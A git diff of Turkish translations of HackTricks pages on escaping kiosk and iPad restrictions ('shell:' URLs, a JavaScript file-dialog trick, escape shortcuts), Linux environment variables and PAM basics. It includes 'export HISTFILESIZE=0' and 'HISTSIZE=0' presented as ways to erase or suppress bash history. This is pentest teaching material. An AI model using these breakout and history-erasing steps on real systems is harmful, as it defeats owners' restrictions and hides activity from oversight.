* Sağ kenardan sola kaydırarak Eylem Merkezi'ni açabilir, KIOSK uygulamasını küçülterek tüm işletim sistemine doğrudan erişebilirsiniz; * Sağ taraftan sola kaydırarak Eylem Merkezi'ni açabilir, KIOSK uygulamasını küçültebilir ve doğrudan tüm işletim sistemine erişebilirsiniz;
* Üst kenardan içeri kaydırarak tam ekran modunda açılan bir uygulama için başlık çubuğunu görünür hale getirebilirsiniz; * Üst kenardan aşağı kaydırarak tam ekran modunda açılan bir uygulamanın başlık çubuğunu görünür hale getirin;
* Alt kenardan yukarı kaydırarak tam ekran bir uygulamada görev çubuğunu gösterebilirsiniz. * Aşağıdan yukarı kaydırarak tam ekran uygulamasında görev çubuğunu gösterin.
### İnternet Explorer Hileleri ### Internet Explorer İpuçları
#### 'Resim Araç Çubuğu' #### 'Resim Araç Çubuğu'
Tıklanıldığında resmin sol üst köşesinde görünen bir araç çubuğudur. Kaydetme, Yazdırma, Mailto, "Resimlerim"i Gezgini'nde Açma gibi işlemleri yapabilirsiniz. Kiosk'un İnternet Explorer kullanıyor olması gerekmektedir. Tıklandığında resmin sol üst kısmında beliren bir araç çubuğudur. Kaydetme, Yazdırma, Mailto, "Resimlerim"i Gezginde açma işlemlerini yapabileceksiniz. Kiosk'un Internet Explorer kullanması gerekir.
#### Shell Protokolü #### Shell Protokolü
Explorer görünümü elde etmek için bu URL'leri yazın: Bir Gezgini görünümü elde etmek için bu URL'leri yazın:
* `shell:Yönetim Araçları` * `shell:Administrative Tools`
* `shell:Belgeler Kütüphanesi` * `shell:DocumentsLibrary`
* `shell:Kütüphaneler` * `shell:Libraries`
* `shell:Kullanıcı Profilleri` * `shell:UserProfiles`
* `shell:Kişisel` * `shell:Personal`
* `shell:AramaAnaKlasör` * `shell:SearchHomeFolder`
* `shell:AğYerleriKlasörü` * `shell:NetworkPlacesFolder`
* `shell:Gönder` * `shell:SendTo`
* `shell:KullanıcıProfilleri` * `shell:UserProfiles`
* `shell:Ortak Yönetim Araçları` * `shell:Common Administrative Tools`
* `shell:BilgisayarımKlasörü` * `shell:MyComputerFolder`
* `shell:İnternetKlasörü` * `shell:InternetFolder`
* `Shell:Profil` * `Shell:Profile`
* `Shell:ProgramDosyaları` * `Shell:ProgramFiles`
* `Shell:Sistem` * `Shell:System`
* `Shell:DenetimMasasıKlasörü` * `Shell:ControlPanelFolder`
* `Shell:Windows` * `Shell:Windows`
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Denetim Masası * `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Denetim Masası
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Bilgisayarım * `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Bilgisayarım
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Ağ Yerlerim * `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Ağ Yerlerim
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> İnternet Explorer * `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
### Dosya Uzantılarını Göster ### Dosya Uzantılarını Göster
Daha fazla bilgi için bu sayfaya bakın: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml) Daha fazla bilgi için bu sayfayı kontrol edin: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
## Tarayıcı Hileleri ## Tarayıcı ipuçları
Yedek iKat sürümleri: Yedek iKat sürümleri:
[http://swin.es/k/](http://swin.es/k/)\ [http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\ [http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
JavaScript kullanarak ortak bir iletişim kutusu oluşturun ve dosya gezginine erişin: `document.write('<input/type=file>')`\ JavaScript kullanarak ortak bir diyalog oluşturun ve dosya gezgini erişin: `document.write('<input/type=file>')`\
Kaynak: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 Kaynak: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
## iPad ## iPad
### Jestler ve Düğmeler ### Hareketler ve düğmeler
* Dört (veya beş) parmakla yukarı kaydırın / Ana düğmeye iki kez dokunun: Çoklu görev görünümünü görmek ve Uygulama değiştirmek için * Dört (veya beş) parmakla yukarı kaydırın / Ana düğmeye çift tıklayın: Çoklu görev görünümünü görmek ve Uygulamayı değiştirmek için
* Dört veya beş parmakla bir yöne kaydırın: Bir sonraki/önceki Uygulamaya geçmek için * Dört veya beş parmakla bir yöne kaydırın: Bir sonraki/son uygulamaya geçmek için
* Beş parmakla ekrana yaklaşın / Ana düğmeye dokunun / Ekrana alttan hızlı bir şekilde bir parmakla yukarı kaydırın: Ana ekrana erişmek için * Beş parmakla ekranı sıkıştırın / Ana düğmeye dokunun / Ekranın altından yukarı doğru hızlı bir hareketle 1 parmakla kaydırın: Ana ekrana erişmek için
* Bir parmakla ekranın altından yavaşça 1-2 inç yukarı kaydırın: Dock görünecektir * Ekranın altından 1-2 inç (yavaş) yukarı kaydırın: Dock görünecektir
* Bir parmakla ekranın üstünden aşağı doğru kaydırın: Bildirimlerinizi görmek için * Ekranın üst kısmından 1 parmakla aşağı kaydırın: Bildirimlerinizi görüntülemek için
* Ekranın sağ üst köşesinden bir parmakla aşağı doğru kaydırın: iPad Pro'nun kontrol merkezini görmek için * Ekranın sağ üst köşesinden 1 parmakla aşağı kaydırın: iPad Pro'nun kontrol merkezini görmek için
* Ekranın solundan bir parmakla 1-2 inç kaydırın: Bugün görünümünü görmek için * Ekranın sol tarafından 1-2 inç 1 parmakla kaydırın: Bugün görünümünü görmek için
* Ekrandan hızlı bir şekilde sağa veya sola doğru bir parmakla kaydırın: Bir sonraki/önceki Uygulamaya geçmek için * Ekranın ortasından sağa veya sola hızlı bir şekilde 1 parmakla kaydırın: Bir sonraki/son uygulamaya geçmek için
* Üst sağ köşesindeki On/**Kapalı**/Uyku düğmesini basılı tutun + Kaydırıcıyı sağa kadar tüm yol boyunca kaydırın: Kapatmak için * **iPad**'in sağ üst köşesindeki Açma/Kapama/Uyku düğmesine basılı tutun + **kapalı** konumuna kaydırın: Kapatmak için
* Üst sağ köşesindeki On/**Kapalı**/Uyku düğmesine ve Ana düğmeye birkaç saniye basılı tutun: Zorla kapatmak için * **iPad**'in sağ üst köşesindeki Açma/Kapama/Uyku düğmesine ve Ana düğmeye birkaç saniye basın: Sert bir şekilde kapatmak için
* Üst sağ köşesindeki On/**Kapalı**/Uyku düğmesine ve Ana düğmeye hızlıca basın: Ekranda sol alt köşede belirecek bir ekran görüntüsü almak için. Her iki düğmeye de aynı anda çok kısa süre basın, birkaç saniye basılı tutarsanız zorla kapatma gerçekleşir. * **iPad**'in sağ üst köşesindeki Açma/Kapama/Uyku düğmesine ve Ana düğmeye hızlıca basın: Ekranın sol alt kısmında belirecek bir ekran görüntüsü almak için. Her iki düğmeye aynı anda çok kısa bir süre basın, birkaç saniye basılı tutarsanız sert bir kapatma işlemi yapılır.
### Kısayollar ### Kısayollar
Bir iPad klavyesine veya USB klavye adaptörüne sahip olmalısınız. Sadece uygulamadan kaçmanıza yardımcı olabilecek kısayollar burada gösterilecektir. Bir iPad klavyesine veya bir USB klavye adaptörüne sahip olmalısınız. Uygulamadan kaçışa yardımcı olabilecek yalnızca kısayollar burada gösterilecektir.
| Tuş | Adı | | Tuş | Adı |
| --- | ------------ | | --- | ------------ |
| ⌘ | Komut | | ⌘ | Komut |
| ⌥ | Seçenek (Alt)| | ⌥ | Seçenek (Alt) |
| ⇧ | Shift | | ⇧ | Shift |
| ↩ | Return | | ↩ | Geri |
| ⇥ | Sekme | | ⇥ | Sekme |
| ^ | Kontrol | | ^ | Kontrol |
| ← | Sol Ok | | ← | Sol Ok |
| → | Sağ Ok | | → | Sağ Ok |
| ↑ | Yukarı Ok | | ↑ | Yukarı Ok |
| ↓ | Aşağı Ok | | ↓ | Aşağı Ok |
#### Sistem kısayolları #### Sistem kısayolları
@ -210,70 +219,71 @@ Bu kısayollar, iPad'in kullanımına bağlı olarak görsel ayarlar ve ses ayar
| Kısayol | Eylem | | Kısayol | Eylem |
| -------- | ------------------------------------------------------------------------------ | | -------- | ------------------------------------------------------------------------------ |
| F1 | Ekranı Karart | | F1 | Ekranı karart |
| F2 | Ekranı Parlakla | | F2 | Ekranı aydınlat |
| F7 | Bir şarkı geriye git | | F7 | Bir şarkı geri al |
| F8 | Oynat/Duraklat | | F8 | Oynat/durdur |
| F9 | Bir şarkı ileri git | | F9 | Şarkıyı at |
| F10 | Sessizleştir | | F10 | Ses kapalı |
| F11 | Ses düzeyini azalt | | F11 | Ses seviyesini azalt |
| F12 | Ses düzeyini artır | | F12 | Ses seviyesini artır |
| ⌘ Boşluk| Mevcut dillerin listesini görüntüler; birini seçmek için tekrar boşluğa dokunun. | | ⌘ Boşluk | Mevcut dillerin listesini görüntüle; birini seçmek için boşluk tuşuna tekrar basın. |
#### iPad gezinme #### iPad navigasyonu
| Kısayol | Eylem | | Kısayol | Eylem |
| -------------------------------------------------- | ------------------------------------------------------- | | -------------------------------------------------- | ------------------------------------------------------- |
| ⌘H | Ana Ekrana Git | | ⌘H | Ana sayfaya git |
| ⌘⇧H (Komut-Shift-H) | Ana Ekrana Git | | ⌘⇧H (Komut-Shift-H) | Ana sayfaya git |
| ⌘ (Boşluk) | Spotlight'ı Aç | | ⌘ (Boşluk) | Spotlight'ı aç |
| ⌘⇥ (Komut-Tab) | Son on kullanılan uygulamaları listeler | | ⌘⇥ (Komut-Sekme) | Son on kullanılan uygulamayı listele |
| ⌘\~ | Son Uygulamaya Git | | ⌘\~ | Son uygulamaya git |
| ⌘⇧3 (Komut-Shift-3) | Ekran Görüntüsü Al (alt sol köşede kaydetme veya işlem yapma) | | ⌘⇧3 (Komut-Shift-3) | Ekran görüntüsü (sol altta kaydetmek veya üzerinde işlem yapmak için) |
| ⌘⇧4 | Ekran Görüntüsü Al ve düzenleyicide aç | | ⌘⇧4 | Ekran görüntüsü al ve düzenleyicide aç |
| ⌘'yi basılı tutun | Uygulama için mevcut kısayolların listesi | | ⌘ tuşuna basılı tutun | Uygulama için mevcut kısayolların listesini görüntüle |
| ⌘⌥D (Komut-Option/Alt-D) | Dock'u açar | | ⌘⌥D (Komut-Seçenek/Alt-D) | Dock'u açar |
| ^⌥H (Kontrol-Option-H) | Ana düğme | | ^⌥H (Kontrol-Seçenek-H) | Ana düğme |
| ^⌥H H (Kontrol-Option-H-H) | Çoklu görev çubuğunu göster | | ^⌥H H (Kontrol-Seçenek-H-H) | Çoklu görev çubuğunu göster |
| ^⌥I (Kontrol-Option-i) | Öğe seçici | | ^⌥I (Kontrol-Seçenek-i) | Öğe seçici |
| Escape | Geri düğmesi | | Escape | Geri düğmesi |
| → (Sağ ok) | Sonraki öğe | | → (Sağ ok) | Sonraki öğe |
| ← (Sol ok) | Önceki öğe | | ← (Sol ok) | Önceki öğe |
| ↑↓ (Yukarı ok, Aşağı ok) | Seçili öğeye aynı anda dokun | | ↑↓ (Yukarı ok, Aşağı ok) | Seçilen öğeye aynı anda dokunun |
| ⌥ ↓ (Seçenek-Aşağı ok) | Aşağı kaydır | | ⌥ ↓ (Seçenek-Aşağı ok) | Aşağı kaydır |
| ⌥↑ (Seçenek-Yukarı ok) | Yukarı kaydır | | ⌥↑ (Seçenek-Yukarı ok) | Yukarı kaydır |
| ⌥← veya ⌥→ (Seçenek-Sol ok veya Seçenek-Sağ ok) | Sola veya sağa kaydır | | ⌥← veya ⌥→ (Seçenek-Sol ok veya Seçenek-Sağ ok) | Sola veya sağa kaydır |
| ^⌥S (Kontrol-Option-S) | VoiceOver konuşmasını aç veya kapat | | ^⌥S (Kontrol-Seçenek-S) | VoiceOver konuşmasını aç veya kapat |
| ⌘⇧⇥ (Komut-Shift-Tab) | Önceki uygulamaya geç | | ⌘⇧⇥ (Komut-Shift-Sekme) | Önceki uygulamaya geç |
| ⌘⇥ (Komut-Tab) | Orijinal uygulamaya geri dön | | ⌘⇥ (Komut-Sekme) | Orijinal uygulamaya geri dön |
| ←+→, sonra Seçenek + ← veya Seçenek+→ | Dock'tan geçiş yap | | ←+→, ardından Seçenek + ← veya Seçenek+→ | Dock'ta gezin |
#### Safari kısayolları #### Safari kısayolları
| Kısayol | Eylem | | Kısayol | Eylem |
| ----------------------- | ----------------------------------------------- | | ----------------------- | ------------------------------------------------ |
| ⌘L (Command-L) | Konumu Aç | | ⌘L (Komut-L) | Konum Aç |
| ⌘T | Yeni bir sekme aç | | ⌘T | Yeni bir sekme aç |
| ⌘W | Geçerli sekmeyi kapat | | ⌘W | Mevcut sekmeyi kapat |
| ⌘R | Geçerli sekmeyi yenile | | ⌘R | Mevcut sekmeyi yenile |
| ⌘. | Geçerli sekmeyi yüklemeyi durdur | | ⌘. | Mevcut sekmenin yüklenmesini durdur |
| ^⇥ | Sonraki sekmeye geçiş yap | | ^⇥ | Sonraki sekmeye geç |
| ^⇧⇥ (Control-Shift-Tab) | Önceki sekmeye geçiş yap | | ^⇧⇥ (Kontrol-Shift-Sekme) | Önceki sekmeye geç |
| ⌘L | Metin girişi/URL alanını seçerek düzenleme yap | | ⌘L | Metin girişi/URL alanını seçin ve düzenleyin |
| ⌘⇧T (Command-Shift-T) | Son kapatılan sekmeyi aç (birkaç kez kullanılabilir) | | ⌘⇧T (Komut-Shift-T) | En son kapatılan sekmeyi aç (birkaç kez kullanılabilir) |
| ⌘\[ | Tarayıcı geçmişinde bir sayfa geri git | | ⌘\[ | Tarayıcı geçmişinizde bir sayfa geri gider |
| ⌘] | Tarayıcı geçmişinde bir sayfa ileri git | | ⌘] | Tarayıcı geçmişinizde bir sayfa ileri gider |
| ⌘⇧R | Okuyucu Modunu Aktive Et | | ⌘⇧R | Okuyucu Modunu etkinleştir |
#### Mail kısayolları #### Mail kısayolları
| Kısayol | Eylem | | Kısayol | Eylem |
| -------------------------- | ---------------------------- | | -------------------------- | ---------------------------- |
| ⌘L | Konumu | | ⌘L | Konum Aç |
| ⌘T | Yeni bir sekme aç | | ⌘T | Yeni bir sekme aç |
| ⌘W | Geçerli sekmeyi kapat | | ⌘W | Mevcut sekmeyi kapat |
| ⌘R | Geçerli sekmeyi yenile | | ⌘R | Mevcut sekmeyi yenile |
| ⌘. | Geçerli sekmeyi yüklemeyi durdur | | ⌘. | Mevcut sekmenin yüklenmesini durdur |
| ⌘⌥F (Command-Option/Alt-F) | Posta kutunuzda arama yap | | ⌘⌥F (Komut-Seçenek/Alt-F) | Posta kutunuzda arama |
## Referanslar ## Referanslar
@ -282,29 +292,19 @@ Bu kısayollar, iPad'in kullanımına bağlı olarak görsel ayarlar ve ses ayar
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/) * [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html) * [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), **karanlık ağ** destekli bir arama motorudur ve şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **etkilenip etkilenmediğini** kontrol etmek için **ücretsiz** işlevler sunar.
WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -9,20 +9,12 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Küresel değişkenler ## Küresel değişkenler
Küresel değişkenler **çocuk süreçler** tarafından **devralınacaktır**. Küresel değişkenler **çocuk süreçler** tarafından **devralınacaktır**.
@ -61,14 +53,14 @@ From: [https://geek-university.com/linux/common-environment-variables/](https://
* **DISPLAY** **X** tarafından kullanılan ekran. Bu değişken genellikle **:0.0** olarak ayarlanır, bu da mevcut bilgisayardaki ilk ekranı ifade eder. * **DISPLAY** **X** tarafından kullanılan ekran. Bu değişken genellikle **:0.0** olarak ayarlanır, bu da mevcut bilgisayardaki ilk ekranı ifade eder.
* **EDITOR** kullanıcının tercih ettiği metin düzenleyici. * **EDITOR** kullanıcının tercih ettiği metin düzenleyici.
* **HISTFILESIZE** geçmiş dosyasında bulunan maksimum satır sayısı. * **HISTFILESIZE** geçmiş dosyasında bulunan maksimum satır sayısı.
* **HISTSIZE** kullanıcı oturumunu bitirdiğinde geçmiş dosyasına eklenen satır sayısı. * **HISTSIZE** kullanıcının oturumunu bitirdiğinde geçmiş dosyasına eklenen satır sayısı.
* **HOME** ev dizininiz. * **HOME** ev dizininiz.
* **HOSTNAME** bilgisayarın ana bilgisayar adı. * **HOSTNAME** bilgisayarın ana bilgisayar adı.
* **LANG** mevcut diliniz. * **LANG** mevcut diliniz.
* **MAIL** kullanıcının posta kuyruğunun yeri. Genellikle **/var/spool/mail/USER**. * **MAIL** kullanıcının posta kuyruğunun yeri. Genellikle **/var/spool/mail/USER**.
* **MANPATH** kılavuz sayfalarını aramak için dizinlerin listesi. * **MANPATH** kılavuz sayfalarını aramak için dizinler listesi.
* **OSTYPE** işletim sisteminin türü. * **OSTYPE** işletim sisteminin türü.
* **PS1** bash'teki varsayılan istem. * **PS1** bash'deki varsayılan istem.
* **PATH** yalnızca dosya adını belirterek çalıştırmak istediğiniz ikili dosyaların bulunduğu tüm dizinlerin yolunu saklar, göreli veya mutlak yol ile değil. * **PATH** yalnızca dosya adını belirterek çalıştırmak istediğiniz ikili dosyaların bulunduğu tüm dizinlerin yolunu saklar, göreli veya mutlak yol ile değil.
* **PWD** mevcut çalışma dizini. * **PWD** mevcut çalışma dizini.
* **SHELL** mevcut komut kabuğunun yolu (örneğin, **/bin/bash**). * **SHELL** mevcut komut kabuğunun yolu (örneğin, **/bin/bash**).
@ -80,13 +72,13 @@ From: [https://geek-university.com/linux/common-environment-variables/](https://
### **HISTFILESIZE** ### **HISTFILESIZE**
Bu değişkenin **değerini 0 olarak değiştirin**, böylece **oturumunuzu kapattığınızda** **geçmiş dosyası** (\~/.bash\_history) **silinecektir**. Bu değişkenin **değerini 0 olarak değiştirin**, böylece **oturumunuzu bitirdiğinizde** **geçmiş dosyası** (\~/.bash\_history) **silinecektir**.
```bash ```bash
export HISTFILESIZE=0 export HISTFILESIZE=0
``` ```
### **HISTSIZE** ### **HISTSIZE**
Bu **değişkenin değerini 0 olarak değiştirin**, böylece **oturumunuzu sonlandırdığınızda** herhangi bir komut **geçmiş dosyasına** (\~/.bash\_history) eklenecektir. Bu **değişkenin değerini 0 olarak değiştirin**, böylece **oturumunuzu sonlandırdığınızda** herhangi bir komut **tarih dosyasına** (\~/.bash\_history) eklenecektir.
```bash ```bash
export HISTSIZE=0 export HISTSIZE=0
``` ```
@ -106,7 +98,7 @@ export SSL_CERT_DIR=/path/to/ca-certificates
``` ```
### PS1 ### PS1
İstemci görünümünü değiştirin. İstediğiniz şekilde istemci görünümünü değiştirin.
[**Bu bir örnektir**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808) [**Bu bir örnektir**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
@ -126,11 +118,6 @@ Bir arka planda çalışan iş, bir durdurulmuş ve son komut doğru bir şekild
![](<../.gitbook/assets/image (715).png>) ![](<../.gitbook/assets/image (715).png>)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,30 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** destekli bir arama motorudur ve bir şirketin veya müşterilerinin **tehdit altına alınıp alınmadığını** kontrol etmek için **ücretsiz** işlevsellikler sunar.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
### Temel Bilgiler ### Temel Bilgiler
**PAM (Pluggable Authentication Modules)**, bilgisayar hizmetlerine erişmeye çalışan kullanıcıların kimliğini **doğrulayan** bir güvenlik mekanizması olarak işlev görür ve erişimlerini çeşitli kriterlere göre kontrol eder. Bu, yalnızca yetkili kullanıcıların belirli hizmetlerle etkileşimde bulunmasını sağlarken, sistem aşırı yüklenmelerini önlemek için kullanımını sınırlayabilen dijital bir kapı bekçisine benzer. **PAM (Pluggable Authentication Modules)**, **bilgisayar hizmetlerine erişmeye çalışan kullanıcıların kimliğini doğrulayan** bir güvenlik mekanizması olarak işlev görür ve erişimlerini çeşitli kriterlere göre kontrol eder. Bu, yalnızca yetkilendirilmiş kullanıcıların belirli hizmetlerle etkileşimde bulunmasını sağlamak için dijital bir kapı bekçisi gibidir ve sistem aşırı yüklenmelerini önlemek için kullanımını sınırlayabilir.
#### Yapılandırma Dosyaları #### Konfigürasyon Dosyaları
* **Solaris ve UNIX tabanlı sistemler**, genellikle `/etc/pam.conf` konumunda bulunan merkezi bir yapılandırma dosyası kullanır. * **Solaris ve UNIX tabanlı sistemler**, genellikle `/etc/pam.conf` konumunda bulunan merkezi bir konfigürasyon dosyası kullanır.
* **Linux sistemleri**, hizmete özgü yapılandırmaları `/etc/pam.d` içinde saklayarak bir dizin yaklaşımını tercih eder. Örneğin, oturum açma hizmetinin yapılandırma dosyası `/etc/pam.d/login` konumundadır. * **Linux sistemleri**, hizmete özgü konfigürasyonları `/etc/pam.d` içinde depolayarak bir dizin yaklaşımını tercih eder. Örneğin, oturum açma hizmetinin konfigürasyon dosyası `/etc/pam.d/login` konumundadır.
Oturum açma hizmeti için bir PAM yapılandırma örneği şu şekilde görünebilir: Oturum açma hizmeti için bir PAM konfigürasyon örneği şu şekilde görünebilir:
``` ```
auth required /lib/security/pam_securetty.so auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so auth required /lib/security/pam_nologin.so
@ -53,7 +40,7 @@ session required /lib/security/pam_unix_session.so
``` ```
#### **PAM Yönetim Alanları** #### **PAM Yönetim Alanları**
Bu alanlar veya yönetim grupları, kimlik doğrulama ve oturum yönetim sürecinin farklı yönlerinden sorumlu olan **auth**, **account**, **password** ve **session**'ı içerir: Bu alanlar veya yönetim grupları, kimlik doğrulama ve oturum yönetimi sürecinin farklı yönlerinden sorumlu olan **auth**, **account**, **password** ve **session**'ı içerir:
* **Auth**: Kullanıcı kimliğini doğrular, genellikle bir şifre istemekle. * **Auth**: Kullanıcı kimliğini doğrular, genellikle bir şifre istemekle.
* **Account**: Hesap doğrulamasını yönetir, grup üyeliği veya günün saatine bağlı kısıtlamalar gibi koşulları kontrol eder. * **Account**: Hesap doğrulamasını yönetir, grup üyeliği veya günün saatine bağlı kısıtlamalar gibi koşulları kontrol eder.
@ -66,7 +53,7 @@ Kontroller, modülün başarı veya başarısızlığa yanıtını belirler ve g
* **Required**: Gerekli bir modülün başarısızlığı, nihai bir başarısızlığa yol açar, ancak yalnızca tüm sonraki modüller kontrol edildikten sonra. * **Required**: Gerekli bir modülün başarısızlığı, nihai bir başarısızlığa yol açar, ancak yalnızca tüm sonraki modüller kontrol edildikten sonra.
* **Requisite**: Başarısızlık durumunda sürecin hemen sonlandırılması. * **Requisite**: Başarısızlık durumunda sürecin hemen sonlandırılması.
* **Sufficient**: Başarı, sonraki modül başarısız olmadıkça aynı alanın geri kalan kontrollerini atlar. * **Sufficient**: Başarı, sonraki modül başarısız oluncaya kadar aynı alanın geri kalan kontrollerini atlar.
* **Optional**: Yalnızca yığın içindeki tek modülse başarısızlığa neden olur. * **Optional**: Yalnızca yığın içindeki tek modülse başarısızlığa neden olur.
#### Örnek Senaryo #### Örnek Senaryo
@ -77,29 +64,18 @@ Birden fazla auth modülü ile bir kurulumda, süreç katı bir sırayı takip e
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434) * [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **compromised** olup olmadığını kontrol etmek için **ücretsiz** işlevler sunan bir **dark-web** destekli arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
